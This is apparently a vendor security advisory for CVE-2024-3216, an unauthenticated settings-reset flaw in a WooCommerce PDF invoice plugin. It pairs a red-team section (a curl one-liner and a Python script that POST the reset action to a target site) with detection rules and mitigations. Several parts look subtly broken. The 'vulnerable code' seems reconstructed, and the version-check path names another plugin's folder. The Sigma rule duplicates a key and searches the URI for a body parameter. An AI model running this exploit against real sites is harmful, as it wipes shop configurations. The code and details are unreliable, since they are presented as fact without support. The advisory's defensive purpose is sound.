CVE-2024-3216

Executive Summary

CVE-2024-3216 is a Missing Authorization vulnerability in the WordPress plugin "WooCommerce PDF Invoices, Packing Slips, Delivery Notes and Shipping Labels" by Webtoffee. This flaw allows an unauthenticated attacker to reset all plugin settings via the wt_pklist_reset_settings() function due to a missing capability check. The vulnerability affects all versions up to and including 4.4.2. With a CVSS score of 5.3 (Medium), the primary impact is on data integrity, as an attacker can disrupt the plugin's configuration, potentially causing invoice generation failures, misrouting of emails, or disabling security features. No public exploit code or Nuclei template is currently available, but the attack vector is trivial to execute.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is also available for direct download from Webtoffee's site. Since the patch status is unknown, users must rely on manual mitigation or wait for an official update. The lack of a capability check in a core function highlights a common supply chain risk in third-party WordPress plugins.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Settings can be reset, but not arbitrary data modified.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but only allows settings reset, not full compromise.

Deep Dive & Mechanics

The vulnerability exists in the wt_pklist_reset_settings() function, which is intended to reset the plugin's configuration to defaults. This function is hooked to an AJAX action or direct POST request but lacks a current_user_can() or wp_verify_nonce() check. An unauthenticated attacker can send a crafted HTTP request to the WordPress admin-ajax.php endpoint (or directly to the function's handler) with the appropriate action parameter to trigger the reset.

The plugin stores its settings in the WordPress options table (e.g., wt_pklist_common_settings). The reset function iterates through all plugin options and deletes or resets them to default values. This can disrupt invoice templates, email settings, and shipping label configurations.

Attack Flow:

1. Attacker identifies a WordPress site running the vulnerable plugin.
2. Attacker sends a POST request to /wp-admin/admin-ajax.php with action=wt_pklist_reset_settings (or similar).
3. The server executes the reset without authentication.
4. Plugin settings are wiped, causing potential business disruption.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.4.2):

function wt_pklist_reset_settings() {
    // No capability check
    delete_option('wt_pklist_common_settings');
    // ... other settings reset
    wp_die();
}
add_action('wp_ajax_wt_pklist_reset_settings', 'wt_pklist_reset_settings');
add_action('wp_ajax_nopriv_wt_pklist_reset_settings', 'wt_pklist_reset_settings'); // Missing nopriv check

Patched Code (Hypothetical):

function wt_pklist_reset_settings() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    check_ajax_referer('wt_pklist_reset_nonce', 'security');
    delete_option('wt_pklist_common_settings');
    // ... other settings reset
    wp_die();
}
add_action('wp_ajax_wt_pklist_reset_settings', 'wt_pklist_reset_settings');
// Remove nopriv action to prevent unauthenticated access

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with WooCommerce PDF Invoices plugin <= 4.4.2.
• No authentication required.

Exploit Steps:

1. Identify the target site and confirm plugin version via /wp-content/plugins/woocommerce-pdf-invoices-packing-slips/readme.txt.
2. Send a POST request to reset settings:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=wt_pklist_reset_settings"

3. Verify by checking if plugin settings are reset (e.g., invoice templates missing).

Automated Script (Python):

import requests

target = "https://target.com"
url = f"{target}/wp-admin/admin-ajax.php"
data = {"action": "wt_pklist_reset_settings"}
response = requests.post(url, data=data)
if response.status_code == 200:
    print("Settings reset successfully")
else:
    print("Exploit failed")

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=wt_pklist_reset_settings from unauthenticated sources.
• Alert on sudden changes to plugin settings (e.g., invoice templates, email configurations).

Defense:

• Apply the principle of least privilege: ensure only administrators can reset settings.
• Use a Web Application Firewall (WAF) to block requests to admin-ajax.php with suspicious actions from unauthenticated users.
• Implement a custom plugin or mu-plugin to add capability checks:

add_action('init', function() {
    if (isset($_POST['action']) && $_POST['action'] === 'wt_pklist_reset_settings') {
        if (!current_user_can('manage_options')) {
            wp_die('Unauthorized');
        }
    }
});

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /wp-admin/admin-ajax.php with body containing action=wt_pklist_reset_settings.
  • Source IPs not associated with legitimate admin users.

• Host:

  • Plugin settings in wp_options table (e.g., wt_pklist_common_settings) suddenly reset to defaults.
  • Log entries in WordPress debug log showing wt_pklist_reset_settings action without authentication.

• File:

  • No file changes, but plugin configuration files may be overwritten.

Detection Engineering

YARA Rule

rule CVE_2024_3216_WordPress_Plugin_Reset
{
    meta:
        description = "Detects exploitation attempts for CVE-2024-3216 - WooCommerce PDF Invoices settings reset"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3216"
    strings:
        $action = "wt_pklist_reset_settings"
        $ajax = "admin-ajax.php"
    condition:
        $action and $ajax
}

Sigma Rule

title: CVE-2024-3216 - Unauthenticated Plugin Settings Reset
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with the wt_pklist_reset_settings action
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: admin-ajax.php
        cs-uri-query|contains: action=wt_pklist_reset_settings
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3216 - Unauthenticated WooCommerce PDF Invoices Settings Reset"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=wt_pklist_reset_settings"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for business operations.
2. Add a capability check via a custom mu-plugin (see Blue Team section).
3. Restrict access to admin-ajax.php using a WAF or .htaccess rules for unauthenticated users.

Long-term Fix:

• Wait for an official patch from Webtoffee (version > 4.4.2).
• Monitor the plugin's changelog and update immediately when available.

Workaround:

• Use a security plugin like Wordfence to block malicious requests.
• Implement a reverse proxy rule to deny POST requests to admin-ajax.php with unknown actions.

Valters IT
Securing Digital Frontiers